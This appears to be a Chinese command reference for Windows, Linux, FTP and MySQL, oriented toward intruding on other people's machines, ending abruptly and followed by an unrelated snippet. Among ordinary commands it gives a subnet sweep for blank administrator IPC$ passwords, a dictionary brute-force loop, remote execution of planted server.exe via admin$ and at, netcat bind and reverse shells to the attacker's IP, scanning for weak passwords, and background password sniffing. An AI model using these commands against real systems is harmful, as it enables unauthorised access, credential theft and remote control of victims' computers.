ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
\\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
print 文件名 打印文本文件
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cp 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cp 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqlmp --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
附:批处理命令与变量
1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1}
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关
IN (set):指在(set)中取值;DO command :指执行command
参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”
(二)系统外部命令(均需下载相关工具):
1、瑞士军刀:nc.exe
参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行〔危险〕
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
基本用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注:
| 管道命令
< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
>与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。
2、扫锚工具:xscan.exe
基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机
3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -u
⑥ 怎样在电脑里面输入一指令查看电脑所有信息
1.最直观的:(在运行里面输入CMD,以下命令都是在CMD下输入的:)输入 sysdm.cpl, 系统属性.
2.输入dxdiag
3.输入 start msinfo32,winmsd系统信息
4.输入 devmgmt.msc,设备管理:
5.输入 taskmgr (或按Ctrl+Alt+Esc) 在性能选项卡看物理内存和pagefile
6.输入 winver 也可以查看内存大小